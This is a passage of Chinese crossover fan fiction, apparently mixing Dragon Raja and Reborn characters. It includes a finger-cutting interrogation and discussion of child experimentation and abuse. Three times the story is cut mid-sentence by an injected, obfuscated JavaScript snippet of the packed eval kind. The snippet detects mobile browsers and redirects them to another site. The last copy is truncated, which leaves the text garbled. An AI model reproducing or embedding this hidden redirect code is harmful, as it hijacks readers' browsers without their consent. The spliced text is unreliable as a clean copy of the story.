Doctor径直往大巴的后座走去。他打开后排的窗户,清凉舒爽的夜风吹拂进来。这样的夜晚很难不让人心情愉快。 现在这个时间,该发生的应该都已经发生了吧?他暗自盘算起来。 区区一个“烟花”是无法杀死彭格列的,可Doctor要的就是事情败露:山穷水尽的德维尔家族决心铤而走险,暗杀造成这一切的彭格列首领,他们用的是里世界的老手段,赌的是教父一瞬间的仁慈之心。 多么完美的故事,【game】的线索就此断绝在这一环里。 只是可怜雅纪。不过‘放烟花’的时候大概来不及感到疼痛吧?死亡只是一瞬间的事,现在他总算重获自由。 Doctor这么想着,然后他露出一个微笑,颇为惬意地吹起口哨。 实验已经结束,他手上的专利价值连城,卖主也恰好是个懂得欣赏、极端大方的人。 那么接下来呢?或许他可以改名换姓、再去南太平洋买个小岛什么的。听说那里终年阳光明媚,是休养玩乐的好去处。或许他还可以去越南买几个听话的漂亮女孩一起带过去…… 就在Doctor浮想联翩的时候,大巴停了。这条线路在夜晚没什么乘客,零星的几个也都在前面几站下了车。 而他的目的地是终点站,现在大巴上只有他一个人。 Doctor看看窗外——外面是一片荒田,估计是哪个小站台。可前后车门都是紧闭,也不见有任何人上车。他开始有点不耐烦,用意大利语催促司机快走。 司机没有任何反应,又过了一会儿才解开驾驶座上的安全带,缓步朝后座走来。 司机边走边点燃一根新的香烟。原来刚刚他一直默不作声,是在等手上的那根烟抽完。 他一脚把Doctor从车窗处踹了出去,随即他自己也从那里轻巧落下,居高临下的俯视着瘫坐在地上的Doctor。 无端遭受这样的暴力,按理说Doctor应该立即逃跑。可在看清司机的装扮时,他就已经丧失了逃走的勇气。 那是个东洋男人,Doctor最厌恶也最恐惧的东洋男人! 男人戴一副斯文的细框眼镜,长相阴森苍白。 他冷冷地注视着Doctor,黑色长风衣的衬里上绣制着浮世绘风格的牡丹与恶鬼。夜风吹动,绚烂狰狞。 -- “你、你是什么人?打劫么?要钱我可以给你!”Doctor试图负隅顽抗。 可男人完全没有理会他的话。 “拉尔夫·施密特,1997年毕业于海德堡大学医学系,主攻脑神经方向。你没有血统,但你的导师是秘党成员,他欣赏你在学术方面的造诣,破格让你接触了当时的一项秘密研究。后来那项研究被紧急叫停,你的导师因为私自向普通人泄露龙族的秘密而被惩罚。原本你应该被直接清除记忆,可你及时逃到了日本。之后凭借自己的专业知识,你发明了一种能被安置在人体中的微型炸.药,并靠着这项专利赚得盆满钵满。你用那笔钱改头换面,更名为约翰·费舍尔,自称是日德混血。”男人边说边打量一下面色越来越惨白的Doctor,“整容整得不错。” “……我听不懂你在说什么。”Doctor小声说。 “你不需要听懂。”男人像提溜小鸡一样制住了Doctor,或者说拉尔夫,“只需要回答就够了。” “秘党在日本没有势力,但本家与秘党一直是友好合作的关系。如果你只是逃到日本,那么你根本不可能逃脱追捕。之所以能成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658798|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功是因为时任大家长的橘政宗为你提供了庇护,他伪造了一具尸体,秘党的人都以为你死了。之后你一直为他工作,直到五年前,你被秘密派往西西里岛。我要知道这项工作的具体内容。” 男人一直没什么表情,唯有在提到“橘政宗”这个名字时,他的眼中闪过某种冰冷的厌恶。 “我真的听不懂你在说什么!你找错人了!”预感到了某种危险,Doctor挣扎起来。然而没用,他常年坐在实验室里,面对训练有素的男人就像虫子般无力。 “…每次遇到的都是同一套说辞,真是耳朵起茧。”男人叹了口气,叼着香烟单手从怀中摸出一把弹簧刀来。 他把Doctor的右手死死按在地上,拿刀在他的小拇指根部比划。 “听说你有一双巧手。”男人突然笑了笑,“这么擅长做手术的一双手,以后猜拳只能出石头,大概会很难过吧?” 这是威胁!Doctor脑中急转,他正忙着思考要怎么避免最坏的结果,就见男人手起刀落,直接斩下了他的小指! ——该死的!威胁是这么个威胁法么?不是应该给他留一点考虑的时间么? 剧烈的疼痛感后知后觉地传到脑部,Doctor痛苦得几乎要跳起来。可男人直接坐在了他背上,那柄染血的弹簧刀移到了无名指上。 “别急,现在你还能出石头和剪刀哪。”这么说着,男人毫不犹豫砍下了他的无名指。 冰冷的刀锋紧接着贴上Doctor的中指。 男人吸了口烟,嘴里轻快地哼起哆啦A梦的主题曲来。 Doctor疼得泪眼朦胧,一句话也说不出来。他当然知道这首曾经风靡世界的主题曲,但是为什么是哆啦A梦?因为它猜拳只能出拳头么?生死之间Doctor莫名领会了男人诡异的幽默感。 该死的,他这辈子都没听过这么走调这么冷酷的哆啦A梦。说起来男人真的是在逼供么?他根本只是在享受吧?什么样的变态才会一边砍别人的手指头一边快乐地哼唱这种儿童名曲? 他要招!让他招!巨大的恐惧感瞬间击碎了Doctor的心理防线。他疼得说不出话,只好虫子般蠕动起来,企图令男人知道他的屈服。 可是来不及了,在男人荒腔走板的哼唱声中,Doctor再次绝望地失去了自己的中指。 “现在就想招了么?”男人抽空看了一下拼命翻着白眼的Doctor,不由面露惋惜。 你到底在惋惜什么!惋惜不能真的把他的手砍成拳头么!? Doctor心里惊涛骇浪,又在男人冰凉的目光中瑟缩一下。 “当初的确是政、咳咳、政宗先生收留了我。最开始我负责梳理混血种的进化道路,并通过手术和基因技术改造死侍……后来政宗先生派我来西西里岛……”Doctor犹豫一下。 “继续。”男人逼近他食指的刀口微微用力。 “他、他说西西里岛不在秘党的势力范围,秘党的人进不来西西里岛。政宗先生让我和当地的Mafia进行接触,研究他们所掌握的一种神秘力量。”Doctor舔舔嘴唇,一个邪恶的计划在他心里应运而生,“彭格列!和我合作的家族是彭格列!” “……彭格列?”男人挑挑眉毛,表情摆明是不信的。 “是真的!我有证据!就在我衣服口袋里!”Doctor急忙说。 男人压着他的膝盖松了松,他粗暴的把人翻转过来,手向口袋伸去。 “是另一边!”Doctor神情恳切。 趁着男人分神的功夫,Doctor快速从右边袖管摸出一支小型试管,仰头将里面的暗红色液体一饮而尽! 40. 第40章 精英 月酒吧 桃巨会的二代目小心翼翼敲了敲房门。过了很久,里面依然没有回应。 二代目不敢离开,只好继续耐心地等待。 等待中他陷入回忆——想他好歹也曾是并盛町的一方势力,哪晓得会落到今天这般下场? 桃巨会是并盛的本土帮派,发迹于上世纪日本帮派最嚣张的七十年代。 当时的一代目真是如织田信长般伟岸的男子。一代目知道蛇岐八家的存在,但他拒绝臣服,曾放出话来——如果蛇岐八家想要他的忠诚,大家长必须亲自来见他。但那时大家长获得的也不会是忠诚,而是男人间的搏斗! 或许是被一代目的气势震慑,蛇岐八家始终没有干涉桃巨会在町内的事务。 然而等头领位置传到二代目手中时,情况却一下恶劣很多。 并盛出了个名为‘风纪委员会’的邪恶帮派。桃巨会先是被这个强大到离谱的组织压迫得节节败退,紧接着又遭受三名初中生的空降袭击。 二代目至今记得为首那名棕发少年战斗时的身姿——眼神坚毅实力恐怖,只是不知为何竟然赤.裸着身体挥舞拳头……也不知是哪个路数的变态。 经此一役,桃巨会元气大伤,只能在风纪委员会旗下苟延残喘。 邪恶的委员会以维护风纪为由不准他们敲诈勒索町内的店铺,每个月还向他们征收巨额的保护费用,逼得二代目不得不亲自打工补贴家用。 二代目也想过要不要投靠蛇岐八家,于是用词扭捏的修书一封,询问去本家神社烧香的事宜。然而并未得到任何回信……想来是一代目把本家的人得罪惨了。 直到半个月前的某个雨夜,二代目从超市下班回到办公室。房间里一片漆黑,小弟们都不见踪影,专属于他的皮椅上静静端坐着一个陌生男人。佩刀,黑色长风衣,敞开的衬里上绣着浮世绘风格的恶鬼牡丹,华美森严。 那一刻二代目又惊恐又激动——他听说过他们!是本家的干部! 男人神情严肃的表示桃巨会所受的委屈他们已经知晓了,现任大家长对这件事非常关心,特意派他前来问候。接下来的事交给本家就好。 “我会代表家族与你同行,我们直接去西西里岛。” “…为什么是去西西里岛?”二代目大着胆子问道。风纪财团就在并盛,他现在恨不得男人直接找上他们老巢,拔刀把云雀那厮砍成三截,为桃巨会出一口恶气! “家族已经做过调查,云雀表面是风纪财团的创始者,实际却是彭格列首领的下属。”男人掏出一张照片,“那是西西里岛最大的Mafia家族,所以我们去那里,直接和云雀的上司谈判。” ——世界上居然还存在“云雀恭弥的上司”这种恐怖的东西么!?居然还有人能站在那个云雀头上!?那个云雀!? 二代目十二万分震惊地接过相片,然后再次十二万分震惊地发现上面的人他也认识。 是他!当年那个赤身裸.体毁灭了桃巨会的初中生! 虽然现在看起来成熟了很多,但二代目错认不了那张脸。 不过想来能收服云雀的也只有这个男人了。将信将疑间,二代目眼中的彭格列首领已变得阴森可怖、深不可测、形如鬼神。 桃巨会居然要和这么恐怖的男人为敌么?二代目打起退堂鼓。 “不用担心,家族会站在你身后。”本家派来的男人倒是一脸无畏。 二代目原本还对他的来意抱持怀疑,桃巨会已经水深火热了十年之久——正义会迟到,可一般来说正义会迟到这么久么? 但没想到男人居然一本正经的与他进行了盃事——这是帮派间的古老礼仪,必须在具备壁龛的大房间举行。 盃事当天壁龛里依次悬挂着“八幡大菩萨”、“天照皇大神”、“春日大明神”的神位,象征着这场仪式由诸天神佛共同见证。 那天男人理了理袖口,不经意间露出小臂上繁复的文身。二代目再次陷入震惊——这样复杂的图案只有深受器重的部下才能获赐——精英!男人是本家的精英! 二代目热血沸腾——看来本家真的是非常重视桃巨会!在精英的带领下,他们一定能把云雀赶出并盛,桃巨会横行乡里欺男霸女的好日子已经不远了! 就这样,心潮澎湃的二代目跟随精英一同来到西西里岛。 然而平安到达巴勒莫后,精英的态度一下子便冷淡很多,每天早出晚归,不知忙些什么。 房门开了,二代目立即结束回忆。 伴随着一阵异常浓烈的香气,精英的头从门后探了出来。 “有什么事?”他皱眉。 不知道是不是错觉,精英的脸似乎比平时更加苍白一些。 “大人,今天就是与彭格列会面的日子了。”二代目毕恭毕敬。 闻言,精英顿时陷入沉默。半晌后才道,“……你说什么?” 二代目也是一愣,“先前我照您的指示给彭格列递送拜帖,前几天就收到了回复。彭格列十世同意见我一面,地点就在彭格列本部。” 精英艰难的陷入回想,他揉了揉脸,隐约记起是有这么回事。桃巨会本是用于掩藏踪迹,平安进入西西里岛后就再没用处。 之前他忙着调查拉尔夫·施密特的行踪,对每天前来问候的二代目敷衍了事,依稀是说过让他给彭格列递送拜帖的话。 ……可彭格列居然真的同意了会面么? 精英狐疑地打量一下二代目(后者急忙憨傻谄媚地笑起来)——以彭格列家族在里世界的地位,竟然会理会这种本家都看不上的小帮派? 根据资料他们之前是有些龃龉,但那已经是十年前的事了。天皇陛下会记得十年前出行时撞伤过哪个乞丐么?十年后乞丐找上门会亲切的把人接进皇居问候么? 他一时有些摸不清这位彭格列Ⅹ世的路数,但这也不失为一个好机会。 “见到彭格列后,你打算怎么做?”精英不动声色地探听情报。 二代目心说那不还得仰仗大人您么?所幸这几天他察觉到精英冷淡下来的态度,不安之下也做了不少工作。 “当然是威胁!我们是代表日本的帮派,即使面对强大的敌人也不能退缩!”二代目大声说,“男人在任何时候都不能示弱!” 精英许久不混街头,被这种底层帮派的极道精神吵得双耳嗡鸣。 他心说还代表日本的帮派……有必要搞得和奥运会入场式一样么? “你是掌握了彭格列的什么把柄么?”他不抱任何希望地问道。 “是的!彭格列在十年前曾经带领部下突袭桃巨会,他战斗时的样子都被当时新装的摄像头录下。如果他不把云雀调出并盛,那么整个里世界都会看到他的丑态!” 精英:“……” 不是、这是用来威胁Mafia首领的招式么,听起来怎么像是猥琐的狗仔队暗地威胁当红的女明星?而且战斗……战斗能有什么丑态? 他一边吐槽一边接过二代目恭敬奉上的手机。看完视频,精英沉默良久,心里越发摸不清这位里世界教父的路数。 “彭格列又不是女人,怎么可能被这种视频威胁到。”精英勉力维持住表面的淡然,“如果他不为所动,你要怎么办?” “……还有办法!我们还可以绑架!”二代目咬咬牙,“这几天我都调查清楚了,彭格列最近新养了一个情人,名叫菲奥娜·怀特,十分受宠。据说有两个Mafia家族的首领只是在舞会上多看了她几眼,其家族势力就被彭格列剿灭殆尽。只要绑架她,彭格列一定会对我们言听计从!” 三言两语导致两个家族覆灭么?听上去倒像是位玉藻前或者克丽奥佩托拉七世那样颠倒众生的美人。 精英稍微提起一点兴趣,但还是摇了摇头,“绑架这种手段不是威胁,而是挑衅。你要挑衅里世界最强盛的家族么?” 明明他的年纪比二代目还要小上一些,但语气却像黑.道前辈关照小弟。原因无他,二代目的提议叫他想起以前那段轻狂岁月。 如果按精英以前无法无天的性格,一定会把那个什么情人缠满保鲜膜摆满生鱼片放到彭格列Boss的办公桌上——管他在里世界多牛逼,妈的干了再说! 可现在犯事再没人帮他扛了。从前和他一起胡作非为的同伴也不在身边,很没出息地跑去蒙塔利维卖防晒油了……哼,防晒油。精英瞬间变得意兴阑珊起来。 卖什么防晒油——人老大和樱相对而坐安安静静一起看海边落日,这时候你能在人家身后不停大声喊“防晒油一瓶6欧两瓶10欧”么?好歹长点眼色,打扰人谈恋爱是要遭报应的啊喂,有出息的混混流氓就该像他这样继续混街头。 精英心里泛起惆怅,连带着还有一股不可言说的淡淡酸意。等回过神,眼前却是二代目那张不知所措的呆脸。 接连两个提议都被否决,二代目正梨花带雨看着精英。 此时精英已经没了八卦的兴致,他挥退二代目那张据说“重金购得”的“彭格列情人”照片,一脸正气义正言辞,“盃事上家族和桃巨会已经订立盟约,今天我会和你一起去彭格列总部。” 二代目闻言喜上眉梢——他就知道本家的精英不会抛弃他们!他立即就要去楼下召集其余部下,但又被精英叫住。 “叫你和你的兄弟都用点。”精英面无表情抛过来一堆不同品牌的香水,“多用点。我过会儿下来。” 二代目捧着一大把香水望着重新紧闭的房门,半天也不解其意——这是个什么章程?感情精英忙里忙外这么多天,是跑去进口香水了……?本家要做走私香水的生意? -- 彭格列总部是座巍峨的古建筑,颇能显示这个家族传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658799|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承百年而不衰退的荣光。 精英一行人首先被迎入一楼的会客厅。有时建筑本身就是一种夸耀权威的手段,桃巨会的人似乎从真正见到彭格列总部的那一刻起就开始惶惶不安。 精英本人倒是见多不怪。他低调地坐在二代目身侧,宛如帮派里受到倚重但又不喧宾夺主的军师角色。 没多久,一个英俊的银发男人走入会客厅。他先是被房间里逼人的香气薰得微微皱眉,继而视线在众人间逡巡一圈,径直落在了精英身上。 “请跟我来,十代目要见你。”虽然冷淡,但他依然保持着最低限度的礼貌,并且日文流利。 这话是对他一个人说的。精英挑挑眉,面不改色地站了起来。 他跟着银发男人上了三楼、又穿过长长的走廊,最终在一扇形制朴素的门前停下。 男人敲了敲门,在得到回应后,又冷淡的朝精英点头致意一下,旋即原路离去。 现在只剩下精英一个人了,但他并不胆小,没怎么犹豫就拧开了门把手。 办公室里,那个站在里世界权力巅峰、掌握着无数家族生杀大权的彭格列Ⅹ世目光沉静地望过来。 精英对他的第一印象很好。因为他的眼神很干净,干净得甚至不像是一个Mafia。 这种眼神叫精英想起故人。 他缓缓落座。二人简单做了自我介绍,又客套的寒暄一阵。 “彭格列与现在的蛇岐八家没有合作关系,但我们没有忘记过去结下的友谊。如果佐伯先生下次再来拜访,请务必让彭格列一尽地主之谊。”Ⅹ世脸上的笑容温和,寥寥数语释放好意,又不动声色点破了精英的身份。 对此精英并不吃惊。彭格列要求单独会面,单独会面就意味着身份暴露。 老实说他先前并不相信拉尔夫的说辞。如果西西里岛上有哪个Mafia家族不需要通过窥探龙族秘密来增强实力,那么这个家族一定是彭格列。 已经站在顶峰的人需要的是维持秩序,拉尔夫的计划只会把一切搞乱。 可现在他却不得不有所怀疑。如果不是拉尔夫,彭格列又是从哪里知道他的身份? “佐伯先生这次过来,是为了桃巨会的事么?” 精英顺着他的话继续,“家族不曾忘却与家康先生的友谊。并盛是百余年前家族赠予友人的土地,当时的大家长承诺永不干预那里的事务。我们知道近年来彭格列对那片土地的开发,也从未理会桃巨会的投诚。这是家族给予家康先生的尊重。” 闻言,Ⅹ世轻轻点了点头,“…那么佐伯先生来西西里岛,是为了其他事情?” 精英神情一肃,“虽然家族与友人订约在前,但友人已逝。家族想要知道,现在的彭格列是否还真心维护当时互不干扰的盟约?” “佐伯先生这是什么意思?”Ⅹ世表情不变。 精英笑了笑,“这次隐匿行踪偷偷拜访,是我失礼。但我想知道,沢田先生是从哪里了解到我的身份?” 提起那位彭格列的创始者时,Ⅹ世出现了极其短暂的分心。这种间隙一般人掌握不到,可精英这种常年混街道的老油条却不会放过。 他抓住这点发起反问,意在改变对话时的位置高低。这是一种谈判技巧,家族里的每个干部都专门修习过相关课程。 可就在这时,房间里突兀地响起了第三个人的声音。 “——当然是我告诉他的啊。” 精英先是一愣,随即冒了一身冷汗:直到那个人出声,他都未曾感觉到房间里还有第三人存在。 这无疑是位经验老到的暗杀者,轻而易举骗过了他的眼睛和耳朵,现在就好整以暇站在他身后,随时可以取他性命。 那声音懒懒的,又好像似曾相识。 ……等等,似曾相识? 精英又愣了愣,然后大着胆子咔吧咔吧转头向身后看去—— 女孩正双手抱胸似笑非笑地盯着他,眼神不可谓不狰狞。 可她怎么可能在这儿?精英仿佛患上失语症。 精英:“……艾、” 女孩挑了挑眉。 精英:“……艾、” Ⅹ世一脸无奈。 “艾、艾……哎呦我去!”精英一拍大腿,张口就是一句粗话,“你怎么在西西里啊?还和彭格列一起……你不会就是传说中那个让彭格列为爱灭掉两个家族的情人吧?” 他脑子转得不慢,很快就把很多事情联系在了一起。先前的戒备心便如泡沫般消失了。 “不是、路君拐走我们家小姐就算了,你居然也和Mafia教父不清不楚?”乌鸦诚恳槽道,“……你们兄妹是和我们混.黑的杠上了么?” 艾莎:“……” 沢田纲吉:“……” 这两句话槽点太多。“不清不楚”的二人瞬间陷入沉默。 41. 第41章 雅纪 “哪儿来的兄妹,二师兄和我没有血缘关系好么……”艾莎干巴巴地槽了回去。 “师兄妹也是兄妹嘛!”乌鸦大喇喇一挥手,“谁不知道你们是昂热校长的一对心肝宝贝S级,又都无父无母的,和真兄妹也没差啦。” “……不,二师兄的父母只是常年不回家;我妈妈也有很大概率还活着。不要随便给人乱加这种根本不存在的设定好么。”艾莎一脸木然。 她看了看沢田,向他重新介绍道。 “这是乌鸦,是我…”她顿了顿,“我二师兄的女朋友的哥哥的下属。” 沢田纲吉:“……”这个关系介绍也太简单粗暴了! 是担心他被排除在对话之外么?他有些哭笑不得地领受了女孩的好意。 “喂喂,好歹之前也一起并肩作战过,有必要把关系撇得这么清么?”乌鸦大声抗议,“而且什么下属……没看到我现在已经是本家的精英了么?以后别叫我乌鸦,叫我的大名佐伯龙治!” 艾莎没理他,“为什么来西西里岛?” 联系到昨晚那个被当作人体炸.弹的男孩,她已经有了一个模糊的猜测。 那群追击的杀手隶属于德维尔家族。可她认得男孩身上的痕迹,对混血种一知半解的人做不到这种程度。伊凡·德维尔背后必然藏着另一双操控的手。 ——不光是她这样的混血种,还有无辜的普通人……甚至还把纲吉君牵扯进来。想到这儿,她的目光趋冷。 乌鸦看看她,又看看毫无回避意向的沢田,最终放弃抵抗似的长叹了口气。 “借电脑用一下?”他对沢田说道,用的是商量的语气。 “请便。”沢田纲吉轻轻颔首。 乌鸦从西服内侧口袋里摸出一支钢笔。这是日本岩流研究所的得意之作,笔头可以发射激光,末端则搭载超小型移动硬盘,内部构造极其复杂的同时依然保留书写功能。 当然了学院本部的装备部对此很不屑,在他们看来不会爆炸的发明不是好发明,人生的意义唯有爆炸。 “事情的起因是一个月前,一个叫村上圣子的女人向警视厅求助,说本家的人绑架了她的孩子。”乌鸦边摆弄电脑边道,“因为正好撞上当时的社会热点,所以被媒体炒得很厉害。” “村上的经历很复杂,高中辍学,同时和好几个不良少年厮混,她生孩子的时候才十七岁,后来又染上毒.瘾和其他一些乱七八糟的东西——这就是她的儿子,村上雅纪,失踪的时候六岁。” 乌鸦把电脑翻转过来。屏幕上是个年幼的男孩,戴着日本小学生会戴的那种黄帽子,笑得露出两边梨涡,调皮捣蛋的样子。 虽然长大后脸部线条产生变化,但从五官特征不难看出,他就是昨天晚上那个孩子。只是气质差别太大,看起来反而像两个人。 艾莎与沢田皆是默然。 乌鸦继续道,“她指控的是家族里一名高层干部,说对方强.暴了她又谋杀未遂,七年后趁她犯瘾时意识不清,强行用钱买走了她的儿子。一开始家族的人以为是单纯的讹诈,但我们比对了村上雅纪的DNA信息,他的确是蛇岐八家的孩子,那名高层就是他的父亲。原本他应该姓樱井。” 说到这儿他停顿一下。 “…很像是不是?”他轻声说,“血统古老高贵的父亲,以及无知的、为钱出卖孩子的母亲。” 说完,乌鸦的视线有意无意的在面前两个人之间逡巡,但艾莎和沢田都没什么反应,尤其是沢田——对视时他神色平静,只是眸光趋冷,有隐隐的警告与严厉意味。 作为一个常年混迹街头的老油条,看到这儿他还有什么不明白的? 乌鸦迅速反应过来,然后一脸震惊:“……你居然把这个都告诉彭格列了!?天呐你们真的是一对!” 艾莎:“……” 沢田纲吉:“……” ——不是、画风变得也太快了,而且他到底是怎么从这件事得出这种结论来的啊!? 二人心头不约而同闪过同一句吐槽。 “但我好像没和你提过吧?”艾莎皱眉。她没有对人倾吐童年的习惯。 “两年前来日本的四个人家族都仔细查过一遍。况且你还有校长那层关系在,当然是重点关照对象。”乌鸦耸耸肩,“不过你被收养前的经历都被人为掩盖过,有些比校长自己的还难查,所以报告里也是猜测居多。” 艾莎点点头,“继续说回村上雅纪的事。” “再往下就涉及到我们的‘秘密’了,”乌鸦看了看沢田,“沢田君连这个也知道了么?” “如果佐伯先生说的是‘混血种’的话。”沢田纲吉不闪不避。 乌鸦的视线又在二人间逡巡一阵。他突然有那么一两分能够理解老大的心情了。 当初小姐被路君拐了私奔,又在东京和路君的叔叔婶婶一起吃饭,气氛那叫一个其乐融融天伦之乐。小姐还专门叮嘱餐厅经理“不要告诉哥哥。” 彼时她和路君不过认识六七天,就能伙同外人一起“不要告诉哥哥”了。艾莎和彭格列又能认识多久?居然就把一切都和盘托出了……可见爱情的确使人盲目。 他暗自叹息一阵,又说回村上雅纪,“那名高层很快招认,他有玩弄未成年女孩的癖好,这么多年没有暴露是因为临近结束时他总会亲手扼死对方。村上圣子是幸存者,没人知道她是怎么活下来的,但她毕竟活了下来。” “是不是挺讽刺的?”乌鸦说,“家族在血统上一贯严苛。每个孩子生下来就会被严密监控,一旦判断为‘危险’就会被送进所谓的关爱学校里。可那些孩子没有出现问题,最后变成‘鬼’的反而是血统稳定的人。” 艾莎目光闪了闪,但没说话。 “顺带一提,那名高层干部已经被处决,由现任大家长亲自枭首。”乌鸦淡淡地说。 沢田记得蛇岐八家现在的大家长正是姓樱井,她似乎也是蛇岐八家百年来第一位女性大家长。 “临死前,他对一切罪行供认不讳,唯独否认买走村上雅纪的事。于是我们继续追查,最终找到了东京远郊一处废弃的实验室。根据记录,赞助那里的人是从前的橘家家主,”乌鸦面无表情,“——赫尔佐格。” “沢田君大概不知道他。他原本是德国人,纳粹战败后去了西伯利亚,在那里进行了一系列针对混血种的实验。之后又来到日本,化名‘橘政宗’,窃取了巨大的权力,是家族的罪人。”乌鸦低声道,“直到两年前,他都还是蛇岐八家的大家长。” 这么说着,他眼中划过刀锋般的憎恶。 “…如果是‘橘政宗’的话,”沢田纲吉重复这个名字,“我们曾经有过照面,五年前他参加过我的继承仪式。” 因为是日本人,而且独自前来,所以他记得很清楚。印象中那是个慈眉善目的老人,头发雪白。见到他时老人微微躬身,笑着说“我代表蛇岐八家奉上祝贺,以后请多多关照。”态度不卑不亢。 当时他的目光让沢田隐隐感到不舒服,但并未多想。 只凭第一印象的话,很难把记忆中的老人和乌鸦口中的“大罪人”联系在一起。 可老人慈祥的外表下大约真的藏着什么恐怖的东西——身旁的艾莎一下子紧张起来,她不停上下检视他,好像恨不得立即结束对话拉他去做一个全身检查。 “只是简单打过招呼,没有其它接触。”沢田纲吉低声道,语气温柔。 “那也不行,那老东西很晦气……”她不满而担忧地嘟囔起来。 乌鸦倒是若有所思,“是么,五年前他就来过西西里岛……” “这件事家族并不知情,非常感谢沢田先生提供的信息。”他稍稍正色,“赫尔佐格是个无比谨慎的人。等我们找到那间废弃实验室的时候,那里的资料几乎都被销毁殆尽。但结合之前家族针对他的调查,我们还是找到了实验室当时的负责人,以及他们所研究东西的蛛丝马迹。” 电脑上的照片换成了另一张。这回是个中年男人,金发碧眼,纯正的日耳曼人长相,看起来似曾相识。 “——拉尔夫·施密特,他的经历与赫尔佐格很相似。毕业于德国最好的大学,之后通过导师加入秘党所支持的一家研究所,也是在那里他知晓了混血种的存在,从此变得很痴迷。后来为了躲避秘党的追捕,他逃到日本。赫尔佐格为他提供了庇护,之后他一直为其工作。” 艾莎眉头一跳,“……他们研究的是什么?” “禁忌的东西,”乌鸦言简意赅地说,“混血种的基因谱系,以及如何运用后天技术改写血统。” “或者换句话说,”他深吸一口气,“——人造混血种。” 房间内陷入短暂的死寂。 “…听起来有些异想天开。”沢田纲吉谨慎地评价道。很多Mafia同样热衷于通过现代科技和人.体实验开发力量,但多以失败告终。他清楚地知道想法与现实间的差距。 “的确是异想天开。”艾莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明白了。”艾莎点了点头,“你现在的身体状况不可能继续调查,下面的事我来接手。还有个问题,你们最后找到村上雅纪了么?” “没有,老实说他活着的概率很小。我们在实验室的空地底下发现了很多具孩童尸骨,层层叠叠铺在一起,挖出来的时候能堆成一座小山。现在它们的具体身份仍未排查完毕。这些资料里都有。” 乌鸦低声道,“况且你是知道那些实验的,用各种手段刺激神经强化血统。如果他还活着,不是精神被彻底摧毁就是变成失控的‘鬼’——在那种地方死掉要比活着好。” 艾莎闻言没有回应。沢田这时却淡淡道,“任何时候都是活着更好。”活着才有其他可能性。 这位里世界的教父神情严肃,眼神却是极度悲悯的。 乌鸦愣了一下,“…你说的也有道理。” 这时艾莎已经抱着电脑开始翻阅其他相关文件,留下乌鸦和沢田大眼瞪小眼。后者便有些无奈的轻咳一声。 “怎么?”艾莎立即抬头,看到乌鸦后一愣,“…你怎么还在这儿?” “我不在这要在哪儿?”乌鸦瞪她。 “当然是去看医生啊,这么严重的伤你不要治疗么?”艾莎一脸惊奇。 “市中心就有家医院,”她顿了顿,“不过欧洲看病挺贵的,你出发前买保险了么?” 乌鸦:“……” “佐伯先生的伤的确需要尽快处理。”沢田纲吉看穿了他的意图,干脆道,“如果愿意的话,可以先在彭格列总部住下。” “欸?但是已经给纲吉君添了很多麻烦了。”艾莎咬咬嘴唇。无论是她自己的事,还是混血种的事。 “艾莎不要太小看彭格列啊。”沢田轻笑着摇了摇头,“一两个客人总部还是住得下的。” “唔、”察觉到他言语中透露出的坚定意味,艾莎妥协道,“……这样也好,方便我再去套套情报。” “艾莎。” “?” “不要多想。这件事不存在谁牵扯谁的问题。” “……我明白了。” 乌鸦左看看她右看看他,突然捂着肚子后退一步。 艾莎和沢田都面露疑惑地望过来。 “哦你们继续完全不用在意我,”他面无表情地说道,“我只是不想站在两个眼神拉丝的人中间罢了。” 艾莎:“……” 沢田纲吉:“……” 42. 第42章 历史课(上) 艾莎坐在乌鸦的病床旁给他削梨。 该死的,这句话听起来怎么这么奇怪?艾莎坐在乌鸦的病床旁给他削梨……乌鸦觉得自己好像一瞬间苍老了几十岁,整个画面洋溢着一股其乐融融的祖孙情。 “……你为什么从刚刚开始就一直在扭动?”艾莎问道。 “没,就是觉得这样不好吧?”乌鸦一脸忸怩,“你给我削梨,彭格列不会吃醋吧?” 艾莎:“……” “我和纲吉君只是朋友、朋友关系!而且谁说这梨是给你削的了?”她边说边啃了一大口。梨子很好,那叫一个汁水四溅。 乌鸦:“……” “说吧,”他叹了口气,“来找我到底什么事?” 此刻他们正身处一处僻静病房,这也是艾莎在彭格列总部解锁的第7个房间。 乌鸦懒洋洋瘫在床上,经过医疗部的专业处理,他的脸色已经比最开始好了很多。 “你恢复的还挺好的。”艾莎打量他一下,“就是感觉你还瞒着什么事,所以来问问。” 真是单刀直入。乌鸦顿感头疼。 “是有些事没告诉你……但跟赫尔佐格还有拉尔夫没什么关系。” “喔。”艾莎幽幽地盯着他,“和彭格列有关系么?” 乌鸦沉默片刻,然后耸了耸肩,“不知道,可能多少有点吧。” “能告诉我么?” “……我拒绝了你难道就会放弃追问么?” 乌鸦拿嘴努努床头柜上的其他水果,“来来来帮我削个苹果,我从头和你说。” “成交!” -- “其实这件事也只是猜测,没什么根据。”乌鸦说,“——西西里岛有点古怪。” “什么意思?”艾莎一愣。 